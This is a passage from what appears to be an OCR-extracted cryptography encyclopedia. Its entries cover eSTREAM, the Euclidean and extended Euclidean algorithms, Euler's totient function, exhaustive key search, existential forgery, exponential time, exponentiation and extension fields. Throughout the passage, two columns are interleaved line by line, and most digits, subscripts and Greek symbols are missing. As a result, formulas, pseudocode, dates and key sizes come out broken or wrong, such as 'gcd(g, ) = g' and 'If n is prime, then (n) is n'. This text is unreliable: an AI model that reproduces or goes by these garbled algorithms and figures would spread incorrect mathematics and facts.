know exact information about any individual (B = ).
-privacy protecting against the above adversary guaran- Error-Correcting Cyclic Codes
tees the same privacy as (c, )-diversity if and only if
Cyclic Codes
c k
= min (k , (c + ) ) ()
c+ k
c+
= , when k = () Error-Correction Decoding

-Differential Privacy [] Decoding algorithms

-differential privacy requires that an adversary should
not be able to distinguish between two input tables that dif-
fer only in one tuple using the published data (in fact, by
any possible dataset that could be published). Differential Escrow Service
privacy can be guaranteed using the following (Class IV)
setting of -privacy. Fair Exchange
Sensitive information: Differential privacy does not dis-
tinguish between sensitive and nonsensitive attributes.
Hence, for every individual, (u) contains one pred-
eSTREAM
icate tu D, for every D a subset of the domain of
Marion Videau
tuples.
Universit Henri Poincar, Nancy /LORIA and ANSSI,
Adversary model: The adversary has exact informa-
Paris, France
tion about all but one individuals in the table; that is,
B = T . The adversary is also assumed to be
-stubborn with an arbitrary prior shape. Synonyms
ECRYPT stream cipher project
Open Problems Related Concepts
Daniel Kifer has recently shown that some sophisticated
Stream Cipher
attackers may reason not based on the statistical model
used in -privacy, but may use other techniques []. Thus,
Denition
determining the exact level of protection that -privacy
The eSTREAM project [] is a multiyear effort coordi-
provides against such attackers is an open problem.
nated by the ECRYPT European Network of Excellence for
Cryptology. It has been running from to and
Recommended Reading has identified a portfolio of promising new stream ciphers
. Aldous D () Exchangeability and related topics. In: Ecole suitable for widespread adoption []. It has been a major
dEte de Probabilities de Saint-Flour XIII . Springer, Berlin, evaluation process for the research in cryptography.
pp
. Blei DM, Ng AY, Jordan MI () Latent dirichlet allocation.
J Mach Learn Res :
Background
. Machanavajjhala A, Gehrke J, Gtz M () Data publishing Symmetric ciphers are usually divided between block
against realistic adversaries. PVLDB (): ciphers and stream ciphers. While the former have been
. Machanavajjhala A, Kifer D, Gehrke J, Venkitasubramaniam M benefiting from the activity around DES cryptanalysis
() -diversity: privacy beyond k-anonymity. ACM Trans
and the process of AES standardization to get reason-
Knowl Discov Data ():
. Dwork C, McSherry F, Nissim K, Smith A () Calibrating
ably efficient and trusted algorithms and modes, the lat-
noise to sensitivity in private data analysis. In: TCC, New York, ter made less consensus. As an example of such a situa-
pp tion, one can cite the stream cipher section of the final
Euclidean Algorithm E
decision document presenting the portfolio of recom-

mended cryptographic primitives at the end of the NESSIE Euclids Algorithm
project []: The NESSIE portfolio in this category is
empty. Euclidean Algorithm
In order to fill this gap, the ECRYPT European Net-
work of Excellence for Cryptology launched, in November
, a call for propositions of stream cipher primitives.
Dedicated stream ciphers, as opposed to a stream mode of Euclidean Algorithm
operation for a block cipher, have been thought to be par-
ticularly relevant for software environments where a high Berk Sunar
throughput is required (Profile ) or for hardware envi- Department Electrical and Computer Engineering,
ronments with restricted resources such as limited storage, Worcester Polytechnic Institute, Worcester, MA, USA E
gate count, or power consumption (Profile ). The submis-
sions had to fall in either or both profiles. Each profile had Synonyms
also an A section for stream ciphers with an authentication Extended euclidean algorithm; Euclids algorithm
mechanism.
At the deadline of the submission, primitives had Related Concepts
been submitted. Three phases of evaluation, each lasting Binary Euclidean Algorithm; Modular Inverse
approximately one year, were planned. At each phase, some Computation
propositions were archived so that the focus could be put
on fewer algorithms to evaluate. During all the process, a Denition
special workshop The State of the Art of Stream Ciphers was The euclidean algorithm provides a technique for com-
held each year from to to present the advances in puting the greatest common divisor and the euclidean
designing and analyzing stream ciphers and discuss about coefficients of two nonnegative integers.
the evolution of the process.
The eSTREAM final portfolio, as of annual Background
update, contains seven algorithms. The software profile list The euclidean algorithm was reported by Euclid in his
contains four algorithms (in alphabetical order): HC-, Elements []. For a brief historical account the reader is
Rabbit, Salsa/, and Sosemanuk, and the hardware pro- referred to Knuth [].
file list contains three algorithms (in alphabetical order):
Grain v, MICKEY v, and Trivium. All the ciphers are Theory
free for any use. None of these ciphers provide authenti- The euclidean algorithm provides a simple and efficient
cation. means for computing the greatest common divisor (GCD)
The original portfolio, published at the end of Phase of two positive integers u and v denoted gcd(u, v) without
, also contained F-FCSR in Profile , but following the finding their factorizations. The gcd operation exhibits the
publication of a cryptanalysis, the portfolio was updated following properties:
in September .
. gcd(g, ) = g
At the end of the process, a book [] presenting the full
. gcd(u, v) = gcd(v, u v)
specifications of the ciphers that reached the final phase
. gcd(u, v) = gcd(v, u mod v) = gcd(v, u qv) where
of the eSTREAM project and implementation surveys has
q = u/v
been published.
The execution of the euclidean algorithm is based on
Recommended Reading the repetitive application of the property gcd(u, v) =
. The eSTREAM Project. http://www.ecrypt.eu.org/stream/.
gcd(v, u mod v). Assume u v and let r = u and
Accessed January r = v, then the computation proceeds as gcd(r , r ) =
. Call for stream cipher primitives () http://www.ecrypt.eu. gcd(r , r ) = . . . = gcd(rk , ) = rk , where the residues ri
org/stream/call/. Accessed January are related as follows.
. New European Schemes for Signatures, Integrity, and Encryption,
NESSIE. https://www.cosic.esat.kuleuven.be/nessie/. Accessed ri+ = ri qi ri+ with qi = ri /ri+
January
. Robshaw M, Billet O (eds) () New stream cipher designs. The sequence ri is strictly decreasing and by induction it
Lecture notes in computer science . Springer, Berlin may be shown to quickly converge to zero. When rk+ = ,
E Euclidean Algorithm
then rk holds the desired result and the algorithm termi- The extended euclidean algorithm
nates. The euclidean algorithm is given below. Input: positive integers u and v, with u v
Output: g = gcd(u, v) and integers
The euclidean algorithm
s, t satisfying us + vt = g
Input: positive integers u and v, with u v
s ; s ; t ; t
Output: g = gcd(u, v)
While v > do
While v > do
q u/v ; r u qv ;
q u/v ; r u qv ;
s s qs ; t t qt ;
uv;vr;
uv;vr;
End While
s s ; s s ; t t ; t t ;
g u;
End While
Return (g)
g u;
In many cryprographic applications the extended ver- s s ; t t ;
sion of the euclidean algorithm plays an important role. Return (g, s, t)
In addition to the greatest common divisor, the extended
euclidean algorithm (EEA) returns two unique inte-
The algorithm recycles the temporary variables s , s , t ,
gers s and t. Using these integers the greatest common
and t by shifting their values in each iteration of the
divisor may be expressed as a linear combination of
loop.
u and v:
The most complex operation used in the EEA is the
us + vt = gcd(u, v) .
integer division operation. If the goal of the EEA is
If u and v are relatively prime, it immediately follows to compute a modular inverse, that is, u mod v, then
that the operations required for computing t may be entirely
us (mod v). omitted.
Hence, the extended euclidean algorithm provides an effi- The exact number of iterations required for the algo-
cient method to compute modular inverse u mod v = s. rithm to converge is more difficult to analyze. Accord-
The original euclidean algorithm described above is mod- ing to [], Lam, Dixon, and Heilbronn developed an
ified to compute the parameters s and t. Define new itera- upper bound for the number of iterations in the euclidean
tion parameters si and ti such that algorithm as

r i = s i u + ti v . log (n )
. log(n) + .

Consider the i + -st iteration ri+ = ri qi ri . By sub- log (( + ) /)

stituting ri and ri in this identity yields the following and came up with the following approximation for the
relation: average number of iterations:
ri+ = (si u + ti v) qi (si u + ti v)
log()
= (si qi si )u + (ti qi ti )v log(n) + . . log(n) + . .

Also since ri+ = si+ u + ti+ v, the values of the s where u, v n. Hence, the number of iterations grows
and t parameters in iteration i + are found as follows logarithmically with the size of the inputs. In each itera-
tion of the euclidean algorithm, a costly division operation
si+ = si qi si is computed which takes time O((log(n)) ). This gives a
running time of O((log(n)) ). However, by careful imple-
ti+ = ti qi ti .
mentation it is possible to systematically reduce the sizes of
As seen from these equations, only the last two values of u and v in each step, and achieve the overall computation
s and t need to be available for the computation of the in time O((log(n)) ).
sequences si and ti . In the first two iterations of the algo- For multiprecision integers, there is a useful variant
rithm, r = s u + t v and r = s u + t v since r = u and due to Lehmer [] with time complexity O((log(n)) ).
r = v the parameters need to be initialized as s = , s = , Lehmers algorithm is based on the observation that the
t = , and t = . A generic description of the extended quotient in the euclidean algorithm is dependent only on
euclidean algorithm is given below. the leading digits of u and v. More clearly, if u and v
Euclidean Algorithm E
denote the leading digits of u and v, respectively, then the the last step, the execution continues with the classical
following inequality always holds: euclidean algortihm which computes and returns the GCD
of the latest contents of u and v. For a more detailed
u u u +
treatment of the subject see []. An extended version of
v + v v Lehmers algorithm is given in []. Sorenson presents a
Hence, to determine the quotient in the euclidean itera- complexity analysis of Lehmers algorithm in [].
tion, one may compute q = u/(v + ) and q = (u + )/v. The euclidean algorithm may be adapted to work on
If q = q , then it must be that q = u/v = q, and the polynomials as well. Since there is no natural ordering
quotient is determined via two simple single precision divi- among polynomials, the greatest common divisor of two
sions. Otherwise, a multiprecision division is performed as polynomials is defined as the largest degree monic polyno-
in the original euclidean iteration. The advantage of this mial that divides both polynomials. Here our attention is
method is that multiprecision division is only performed restricted to polynomials defined over a field. It should be
E
when absolutely essential. Lehmers algorithm is presented noted however that it is possible to develop euclidean algo-
below. rithms for polynomials defined over an arbitrary domain.
The extended euclidean algorithm for polynomials is given
Lehmers euclidean algorithm
below.
Input: positive integers u and v with u v
Output: g = gcd(u, v) The extended euclidean algorithm for polynomials
While v > B do Input: polynomials u(x) and v(x),
u u/k ; v v/k ; with deg(u) deg(v)
s ; s ; t ; t ; Output: g(x) = gcd(u(x), v(x))
While v + s AND v + t do and polynomials s(x), t(x)
q (u + s )/(v + s ) ; satisfying u(x)s(x) + v(x)t(x) = g(x)
q (u + t )/(v + t ) ; s (x) ; s (x) ; t (x) ;
If q q then Goto L t (x)
z s qs ; s s ; s z ; While v(x) > do
z t qt ; t t ; t z ; r(x) u(x) mod v(x) ;
z u qv ; u v ; v z ; q(x) (u(x) r(x))/v(x) ;
End While s(x) s (x) q(x)s (x) ;
L If t = then t(x) t (x) q(x)t (x) ;
q u/v ; u(x) v(x) ; v(x) r(x) ;
w u qv ; u v ; v w ; s (x) s (x) ; s (x) s(x) ;
Else t (x) t (x) ; t (x) t(x) ;
w s u + t v ; r s u + t v ; End While
uw;vr; a leading nonzero coefficient of u(x) ;
End If g(x) a u(x) ;
End While s(x) a s (x) ; t(x) a t (x) ;
Compute g = gcd(u, v) via the euclidean Return (g(x), s(x), t(x))
algorithm and Return(g)
The modular reduction and the division operations within
Note that in the algorithm u, v, s , s , t , t , q, q , z are sin- the loop may be achieved by a single polynomial division.
gle precision variables, whereas w and r are multiprecision. The most significant difference in the polynomial version
In the first step B denotes the largest value a single preci- is the final scaling of g(x), s(x) and t(x) with a to obtain
sion integer (word) may hold. In the next step k is made a monic greatest common divisor polynomial. For this the
as large as to truncate all bits except the leading word of u inverse of a needs to be computed in the field over which
and v. In the innermost loop the two approximations of the the polynomials are defined.
quotient are compared and accordingly either the single
precision operations in the next three steps or the Applications
multiprecision operations in the following if branch are The euclidean algorithm has a large number of applications
computed. The While loop repeats until v is sufficiently in cryptography, such as in public key cryptography (e.g.,
reduced to fit into a single precision variable. Finally, in in the setup phase of RSA, or in the implementation of
E Euclidean Lattice
point operations in elliptic curve cryptography), for fac- If n is prime, then (n) is n, since is the only integer
torization attacks (e.g., for the implementation of the siev- in the set that is not relatively prime to n.
ing step), and in the statistical testing of pseudo-random If n is a prime power, n = pk , k > , then (n) is
number generators. (p )pk , since any integer in the set that is divisible by
p is not relatively prime to n.
If n is a general composite of the form
Recommended Reading d
k
. Euclid () Thirteen books of Euclids elements, nd edn. n = pi i ,
Dover, New York i=
. Knuth DE () The art of computer programming, vol :
seminumerical algorithms, rd edn. Addison-Wesley, Reading where d , p , . . . , pd are distinct primes, and each ki ,
. Crandall R, Pomerance C () Prime numbers: a computational then
perspective. Springer, New York d d
k k
. Lehmer DH () Euclids algorithm for large numbers. Am (n) = (pi i ) = (pi )pi i .
Math Mon : i= i=
. Cohen H () A course in computational algebraic number In particular, if n is a composite of the form n = pq, where
theory. Springer, Berlin
p and q are distinct primes, which is a common case in
. Sorenson J () An analysis of Lehmers euclidean GCD algo-
rithm. In: Proceedings of the international symposium on cryptography, then (n) = (p )(q ).
Symbolic and algebraic computation. ACM Press, New York, By a basic result of group theory, since (n) is the
pp order of the multiplicative group Zn , it follows that
every element x Zn has multiplicative order dividing
(n), i.e.,
x (n) (mod n).
Euclidean Lattice
This is known as Eulers Theorem. (Fermats Little Theo-
Lattice rem covers the special case where n is prime.) A related
function is the function, which is the smallest positive
integer such that
Eulers Totient Function x (n) (mod n)
Burt Kaliski for every element x Zn . The function is the same as the
Office of the CTO, EMC Corporation, Hopkinton, MA, function if n is a prime or prime power; if n is composite
USA it is defined as
Synonyms (n) = lcm ( (pk ) , . . . , (pkdd )) ,

Phi function
which is a divisor of (n).
Related Concepts
Fermats Little Theorem; Order; RSA Digital Signa-
Applications
Eulers totient function (or the related function) is
ture Scheme; RSA Public-Key Encryption
employed in cryptosystems based on the RSA Prob-
lem to compute the decryption exponent d from the
Denition encryption exponent e. In particular, the exponents are
Eulers totient function, denoted (n), refers to the
related as
order or number of elements in the multiplicative group
modulo n. e d (mod (n))
Theory
The multiplicative group of the ring Zn consists of the
integers (or more formally, residue classes) between and Everywhere Second Preimage
n that are relatively prime to the modulus n. The number Resistant Hash Function (esec)
of elements in this group, denoted (n), is called Eulers
totient function of n. Universal One-Way Hash Functions (UOWHF)
Exhaustive Key Search E
K
Exhaustive Key Search
Michael J. Wiener
Molecular Physiology and Biological Physics, University P E C
of Virginia, Charlottesville, VA, USA
Exhaustive Key Search. Fig. Block cipher encryption

Related Concepts
Block Ciphers; MAC Algorithms; Stream Cipher;
Symmetric Cryptosystem History
Much of the history of exhaustive key search concerns
Introduction the U.S. Data Encryption Standard (DES) []. DES is a
E
The simplest approach to cryptanalyzing a block cipher is block cipher with -bit plaintext and ciphertext blocks,
exhaustive key search. The cryptanalyst wishes to find the and -bit keys (K = ). When DES was first proposed
key k that was used with block cipher E to encrypt some by the US government, there was considerable controversy
plaintext P to produce ciphertext C, C = Ek (P) (Fig. and over its short keys. In , Diffie and Hellman [] esti-
Shannons model). mated that a machine capable of recovering DES keys in
Once k is known, the cryptanalyst can find the plaintext a day could be built for $ million. Some argued that this
by decrypting the ciphertext, P = E k (C). A very simple estimate was too low and that even if it were correct, it pro-
approach to finding k is known as exhaustive search: the vides an adequate barrier to cryptanalysis. On the other
cryptanalyst tries decrypting the known ciphertext C with hand, advancing technology would reduce costs quickly,
each possible key in turn until the correct key k is found. and the cost of using larger keys is quite low. For exam-
Implicit in the definition of exhaustive search is the ple, increasing the DES key length by just bits to bits
assumption that the cryptanalyst can tell whether a given would increase the cost of exhaustive search by a factor of
guess of the key is correct. This requires that the cryptana- = .
lyst has some information about the plaintext. For example, The debate about the DES key size raged on for many
the plaintext may start with a known header (e.g., Dear years (Diffies foreword to Cracking DES [] for more
Sir) or the bytes of the plaintext may be limited to ASCII details). At Crypto, a paper was presented that gave a
character values. In general, the cryptanalyst requires as detailed design for a $ million DES key search machine,
much information about the plaintext as he has uncer- consisting of p = , custom chips, each capable of
tainty about the key. Otherwise, there are likely to be many testing a DES key every t = ns []. Using the expres-
keys corresponding to plausible plaintexts. sion for expected run time from the introduction, this
The time required to complete an exhaustive key search machine takes, on average, Kt/(p) = . h to recover a
depends on the number (K) of possible keys, the time (t) it DES key. Although general purpose computers are poorly
takes to test a candidate key, and the number (p) of proces- suited to performing DES key search, by the late s,
sors performing the search. Each processor is responsible various group efforts succeeded in searching the DES key
for approximately Kt/p keys and would take time Kt/p to space using months of computer time.
test them all. On average, we expect to find the key about By , the Electronic Frontier Foundation had actu-
half way through the search making the expected run time ally built a hardware-based DES key search machine called
approximately Kt/(p). Deep Crack []. Because their budget was limited, they
Although the focus here is on block ciphers, exhaus- used custom gate array chips that are slower and more
tive search methods can be applied to stream ciphers and expensive than fully custom chips but have considerably
MAC algorithms as well. lower design and fabrication start-up costs. Deep Crack,
In the following sections, we discuss some of the his- cost $, to build, consisted of , chips each capa-
tory of exhaustive search, including the level of effort ble of searching through million keys per second, and
required for hardware- and software-based attacks (Sec- required, on average, . days to recover a DES key.
tion History), the invulnerability of modern block As the evidence mounted over the years, it became
ciphers to exhaustive search (Section Modern Block increasingly difficult to pretend that DES provides ade-
Ciphers), countermeasures for preventing exhaustive search quate security, although a great deal of legacy DES-based
attacks (Section Countermeasures), and other related equipment is still in use today because of a desire to avoid
attacks (Section Related Attacks). the cost of replacing it.
E Exhaustive Key Search
Modern Block Ciphers one quarter of the keys will be found while they are still
The reign of DES is finally giving way to new ciphers with in use. Even if the keys are changed very frequently, say
longer keys. The most significant of these new ciphers is every minute, the cryptanalyst expects to wait about h to
Rijndael/AES [], which was selected by the U.S. National recover a key quickly enough that it is still in use. Frequent
Institute of Standards and Technology (NIST) to be the key changes only slow the cryptanalyst down by at most a
Advanced Encryption Standard (AES) []. The AES plain- factor of two.
text and ciphertext block size is bits, and its keys can be
, , or bits long. Eliminate Known Plaintext
To assess the difficulty of AES exhaustive key search, we In most analyses of key search time, it is assumed that the
use the DES key search design as a starting point. By cryptanalyst has some known plaintext P corresponding
Moores law, we expect the speed of a key search machine to to ciphertext C. The cryptanalyst can then take a candi-
double every months. From to , this is about date key, use it to decrypt C and compare the result to P. If
a factor of . A $ million DES key search machine in we could encrypt only the unpredictable parts of messages
would then take about min to recover a key rather or find some other way to eliminate known plaintext, we
than . h. If we ignore the fact that AES is more com- could slow down the cryptanalyst. This is not as easy as it
plex than DES to implement on a chip, even the smallest sounds.
key size of AES is bits longer than a DES key, meaning Suppose that the cryptanalyst has no known plaintext
that AES requires times as much effort to recover a key. but knows that the plaintext is coded with one ASCII char-
Even if we increase the budget to $ trillion for a machine, acter per byte. This means that each byte has a leading
the time increases to billions of years. AES is essentially zero bit. In the case of DES with a -bit block size, each
invulnerable to key search. plaintext block contains zero bits at known positions.
Note that these arguments apply only to key search. It is When the cryptanalyst tries decrypting a ciphertext block
conceivable that a clever cryptanalyst will find some short with the wrong key, the random result has only a in
cut to recovering AES keys. AES has withstood consider- chance of having the correct form. Thus, the cryptanalyst
able scrutiny so far, and time will tell whether the current can eliminate most keys in just a single decryption. The
confidence in its security is justified. remaining wrong keys can be eliminated with one or more
additional decryptions of other ciphertext blocks. Overall,
Countermeasures the impact on run time is negligible. Even if the crypt-
The most effective way to prevent exhaustive key search analyst knows only one bit of redundancy per plaintext
attacks is to use sufficiently long keys. By making the num- block, half the keys will be eliminated on the first decryp-
ber of keys K large, the key search time Kt/(p) becomes tion, a quarter of the keys will be eliminated on the second
large. In some cases, system designers are constrained to decryption, etc. Overall, this only slows the search by a
some key size limit (e.g., interoperating with a legacy sys- factor of two.
tem, export controls). In the following subsections, we
examine some of the means that have been tried to prevent Dierent Modes of Encryption
key search attacks. There are several standardized modes of operation of a
block cipher []. The simplest is called electronic code-
Frequent Key Changes book (ECB) mode where each plaintext block is encrypted
A common suggestion for avoiding key search attacks is in turn and the resulting ciphertext blocks are concate-
to change keys frequently. If it takes an hour to find a key, nated. However, there are other modes where the previous
then change keys every half hour. Implicit in this sugges- ciphertext block is involved in encrypting the next plain-
tion is the assumption that the key will not be useful after text block. The DES key search paper [] shows that
the half hour is up, which is true in only certain types of a key-search design can be adapted to cipher-block chain-
systems. ing (CBC), cipher-feedback (CFB), and output feedback
It turns out that this technique does not work well (OFB) modes for a run-time penalty of less than ..
because key search does not take exactly an hour, but
takes a time that is uniformly distributed between zero Extensive Key Setup
and h. The probability that the key will be found in the In most block ciphers, there is a key-setup process to take a
first half hour is %. If the cryptanalyst does not suc- key and produce a set of subkeys for direct use in the algo-
ceed before the key is changed, then he abandons the rithm. Collectively, these subkeys are usually much longer
search and starts to work on the next key. On average, than the original key. When encrypting, the key setup can
Existential Forgery E
be performed once per key, and the resulting subkeys can methods of finding discrete logarithms in cyclic groups
be used for the life of the key. However, for key search, [, , ].
it is necessary to compute new subkeys for each key that
is tried. This leads to the idea of making the key-setup Conclusion
process expensive to slow down key search while having Exhaustive key search is a simple approach to attacking
(hopefully) minimal impact on encryption. a block cipher and has had an interesting history in con-
For example, if key setup is times more effort than nection with DES. However, modern ciphers with keys of
encrypting a block, then key search is slowed down by a bits and longer have made exhaustive cryptanalysis
factor of approximately . But from the cryptographers infeasible with current technology.
point of view, if a key is used to encrypt significantly more
than blocks, the impact is minimal. Recommended Reading
There are a number of potential problems with this . Daemen J, Rijmen V () The design of Rijndael: AES the
E
approach. A system may be designed to encrypt short mes- advanced encryption standard. Springer, Berlin
. Diffie W, Hellman M () Exhaustive cryptanalysis of the NBS
sages making the key setup overhead significant. Subkeys
data encryption standard. Computer ():
would have to be stored rather than recomputed for each . Electronic Frontier Foundation () Cracking DES: secrets of
encryption, which may be a problem in small devices that encryption research, wiretap politics, and chip design. OReilly
handle many keys. If the key space is small enough, the and Associates, Sebastopol, CA
cryptanalyst might precompute and store the subkeys for . FIPS () Data encryption standard. Federal information
processing standards publication . U.S. Department of Com-
each key and use the resulting database to perform key
merce/National Bureau of Standards, National Technical Infor-
search quickly. The cryptanalyst may have many keys to mation Service, Springfield, VA (revised as FIPS - in ,
attack at once and can compute subkeys from each key FIPS - in )
once and try the subkeys on each of the problem instances, . FIPS () DES modes of operation. Federal information
thereby spreading the cost of subkey generation across processing standards publication . U.S. Department of Com-
merce/National Bureau of Standards, National Technical Infor-
multiple problem instances.
mation Service, Springfield, VA
. FIPS () Advanced encryption standard (AES). Federal
information processing standards publication . U.S. National
All-or-Nothing Encryption Institute of Standards and Technology (NIST). Available on
Rivest had an interesting idea for slowing down key http://csrc.nist.gov/CryptoToolkit/aes/
search called all-or-nothing encryption []. This encryp- . Pollard JM () Monte Carlo methods for index computation
tion mode is designed so that it is not possible to recover (mod p). Math Comput ():
a single plaintext block (even knowing the key) until the . Rivest RL () All-or-nothing encryption and the package
transform. In: Biham E (ed) Fast software encryption, th
entire message is decrypted. This means that the crypt-
international workshop. Lecture notes in computer science, vol
analyst cannot eliminate most keys by decrypting a single . Springer, Berlin, pp
block, and the key search effort increases by a factor of the . van Oorschot PC, Wiener MJ () Parallel collision search with
number of blocks in the message. cryptanalytic applications. J Cryptol ():
. Wiener MJ () Efficient DES key search. In: The rump
session of CRYPTO, Lecture notes in computer science.
Related Attacks Springer, Berlin. (Reprinted in Stallings W (ed) Practical cryp-
Exhaustive key search belongs to a larger class of attacks tography for data internetworks, IEEE Computer Society Press,
pp )
sometimes called black-box cryptanalysis. These attacks
. Wiener MJ () The full cost of cryptanalytic attacks. J Cryptol
do not depend on the exact details of the scheme ():
being attacked, but only on its external characteristics.
With exhaustive search, the only details about the block
cipher that matter are the key size, block size, and com-
plexity of performing an encryption or decryption in hard- Existential Forgery
ware or software. Some view these attacks as uninteresting
because they do not make use of details of the scheme being Gerrit Bleumer
attacked, but on the other hand, the broad applicability of Research and Development, Francotyp Group,
black-box attacks makes them quite powerful techniques. Birkenwerder bei Berlin, Germany
Other examples of black-box cryptanalysis are attacks on
double- and triple-encryption with a block cipher, generic Related Concepts
methods of finding hash function collisions, and generic Digital Signature; Forgery
E Exponential Key Exchange
Denition Theory
Existential forgery is a certain type of attacker goal that Let x denote the length of the input to an algorithm (typ-
is used to formally define the security of digital sig- ically in bits, but other measures are sometimes used),
nature schemes, in particular the unforgeability part of and let T(x) denote the running time of the algorithm on
security. inputs of length x. Then the algorithm is exponential-time
if the running time satisfies
Theory
Existential forgery is a weak message related forgery T(x) cbx
against a cryptographic digital signature scheme. Given
a victims verifying key, an existential forgery is achieved, for all sufficiently large x, where the coefficient and the base
if the attacker finds a signature s for at least one new mes- b > are constants. The running time will also satisfy the
sage m, such that the signature s is valid for m with respect bound

to the victims verifying key. The message m need not be T(x) (b )c x
sensical or useful in any way. Existential forgery defines
the outcome of an attack, not the way how or how often for another base b > , and an appropriate constant c .
The term exponential comes from the fact that the size
the attacker can interact with the attacked signer while the
attack is performed (Forgery and []). x is in the exponent. In O-notation, this would be writ-
ten T(x) = O(bx ), or equivalently T(x) = (b )O(x) . The
notations O(x) and eO(x) are common.
Applications
Exhaustive key search is one example of an algorithm
Important types of attacker goals used to formally define
that takes exponential time; if x is the key size in bits, then
the security of digital signature schemes are in order of
key search takes time O(x ).
increasing strength: existential forgery, selective forgery,
and total break.
Applications
Recommended Reading Exponential time is the ideal in cryptographic security. A
. Menezes AJ, van Oorschoot PC, Vanstone SA () Handbook hard problem whose solution is a k-bit secret can always be
of applied cryptography. CRC Press, Boca Raton, p solved in O(k ) operations by trial and error (where testing
a solution is considered to be a single operation), and it is
of course desirable (for the cryptosystem designer) that no
faster algorithm can be found.
Exponential Key Exchange In many cases, a faster algorithm may be available,
yet its running time is still exponential. For instance,
the fastest general-purpose algorithms for solving the
Key Agreement
Elliptic Curve Discrete Logarithm Problem and find-
ing hash function collisions take O(k/ ) operations for
some security parameter k, which is less than brute force
Exponential Time but still exponential.
Burt Kaliski
Office of the CTO, EMC Corporation, Hopkinton, Exponentiation Algorithms
MA, USA
Christof Paar
Related Concepts Lehrstuhl Embedded Security, Gebaeude IC /,
Computational Complexity; O-Notation; Polynomial Ruhr-Universitatet Bochum, Bochum, Germany
Time; Subexponential Time
Denition Related Concepts

An exponential-time algorithm is one whose running k -Ary Exponentiation; Binary Exponentiation
time grows as an exponential function of the size of Method; Fixed-Base Exponentiation; Fixed-Exponent
its input. Exponentiation; Sliding Window Exponentiation
Exponentiation Algorithms E
Denition on average log e squarings and . (log e )

Exponentiation is the repeated application of the group multiplications in the group. The binary method has negli-
operation to a single group element. gible storage requirements. Generalizations of the binary
method, for example, the k -ary exponentiation and
Background sliding window exponentiation, lead to reductions of
The problem of computing an exponentiation occurs fre- the number of group multiplications, while increasing the
quently in modern cryptography, especially in public- storage requirements. However, both of the latter algo-
key algorithms. Exponentiation is defined as the repeated rithms essentially do not reduce the number of squarings
application of the group operation to a single group ele- required.
ment. If one assumes a multiplicative group, that is, the
group operation is called multiplication, and one denotes Fixed-Base Exponentiation
the group element by g, an exponentiation can be writ- In certain cryptographic schemes, the basis g of an expo-
E
ten as nentiation algorithm is known a priori and, thus, precom-
g g . . . g = ge putations can be performed. This can lead to a considerable
acceleration of the exponentiation compared to the general
e times
case. Those methods are described in the entry fixed-base
This case is in particular relevant for RSA and discrete log-
exponentiation.
arithm schemes in finite fields like the DiffieHellman
key agreement. It should be kept in mind that the cor-
Fixed-Exponent Exponentiation
responding notation for additive groups, that is, groups
The other special case is given in applications where the
where the group operation is an addition, looks as fol-
exponent e is known ahead of time. Again, precomputa-
lows:
tions can be performed. The gain compared to the general
g +g +...+g = eg
exponentiation case is relatively moderate, Corresponding
e times techniques are described in fixed-exponent exponentia-
This case, repeated addition of the same group element, tion. These techniques are closely related to the theory of
is the core operation in elliptic curve cryptosystems. addition chains.
From a notation point of view, this operation is not In situations where taking the inverse of a group ele-
an exponentiation but multiplication. Accordingly, in ment is trivial which is in particular the case in groups
elliptic curve schemes the corresponding operation is of points of elliptic curves, where inversion is often a sin-
referred to as scalar multiplication or scalar point mul- gle sign change of a field elements there are additional
tiplication. It is important to stress, however, that this exponentiation methods. Those methods are based on the
multiplication can only be realized by repeated addi- idea that e can sometimes be represented more efficiently
tions. when negative digits are allowed as well as positive digits.
For instance, the decimal number has the binary rep-
Theory resentation (, , , , ) but the signed-digit representation
There is a wealth of different exponentiation methods. The (, , , , , ). Since the complexity of exponentiation
general goal of those algorithms is to perform an exponen- algorithms often depends on the number of nonzero digits,
tiation with a minimum number of group operations com- the latter representation can lead to faster exponentiations.
bined with optimized storage requirements. For groups Corresponding algorithms are described in signed-digit
where inversion of a field element is not a trivial operation, exponentiation.
for example, in finite fields or integer rings, one can Another special case is given when exponentiations of
distinguish between three main families of exponentiation the following form are required:
algorithms. For clarity, multiplicative groups are assumed: e e
g g
General Exponentiation Such operations are referred to as simultaneous exponen-
This case is given if neither the base element g nor the tiation. They are needed in, for instance, the verification of
exponent e is known ahead of time. Hence, no precompu- a signature according to the Digital Signature Standard.
tations can be be performed. This is the most general case. The combined exponentiations can be computed jointly,
The basic algorithm in this situation is the binary expo- considerably more efficiently than the two individual expo-
nentiation method, also known as square-and-multiply nentiations ge and ge . Efficient methods exist both for
algorithm. For random exponents e, this method takes multiplicative and for additive groups. In the latter case,
E Extended Euclidean Algorithm
the notation f (x) be a polynomial

e g + e g f (x) = xd + fd xd + + f x + f .
is being used. This is the core operation in the verifica- Let denote a root of this polynomial. Then the set of
tion step of the elliptic curve digital signature algorithm (or elements generated from field operations on elements of
ECDSA), which is described in the entry Elliptic Curve F and is itself a field, denoted F(). The field F() is
signature schemes. called an extension field of F of extension degree d. F is a
subfield of F() since F is a subset of F() and is itself
Applications a field.
Exponentiation is the core operation in the three most The definition given here is for a simple extension
popular families of public-key algorithms: integer- field. In general, an extension field of a field F is any field
factoring based schemes like RSA, schemes based on that contains F as a subfield; an example of a non-simple
the discrete logarithm problem like the Digital Sig- extension of F is F(, ), where is another root. Sim-
nature Standard or DiffieHellman key agreement, and ple extension fields are the ones usually encountered in
elliptic curve cryptography. Some public-key schemes cryptography.
can make use of specialized exponentiation methods as The elements of a simple extension field may be viewed
outlined above. For instance, elliptic curve point multipli- as polynomials of degree at most d in , where the coef-
cation is more efficient if signed-digit exponentiation is ficients are elements of F, so that an element A F()
used and the Digital Signature Standard can make use of corresponds to the polynomial
simultaneous exponentiations. d
ad + + a + a .
Field addition in the extension field corresponds to
coefficient-wise addition of the d coefficients, while field
Extended Euclidean Algorithm multiplication corresponds to polynomial multiplication
modulo the field polynomial f (x).
Euclidean Algorithm If F is a finite field with q elements, i.e., Fq , then F()
is a finite field with qd elements, i.e., Fqd .
For instance, a binary finite field Fk is an exten-
sion field of the finite field F , and likewise an odd-
Extension Field characteristic extension field Fpk with p is an extension
field of Fp .
Burt Kaliski A number field Q() is an extension field of the
Office of the CTO, EMC Corporation, Hopkinton, rational numbers Q.
MA, USA The representation of elements given above is a poly-
nomial basis representation since the polynomial terms
d , . . ., , form a basis for the extension field when
Related Concepts viewed as vector space over F (i.e., linear combinations of
Field; Irreducible Polynomial; Number Field; the basis elements generate the vector space). However,
Primitive Element; Optimal Extension Fields (OEFs) various other representations have been developed and can
be applied in cryptography.
Denition
An extension field is a field with certain mathematical Applications
structure constructed from another field and one or more Extension fields, particularly binary finite fields, are often
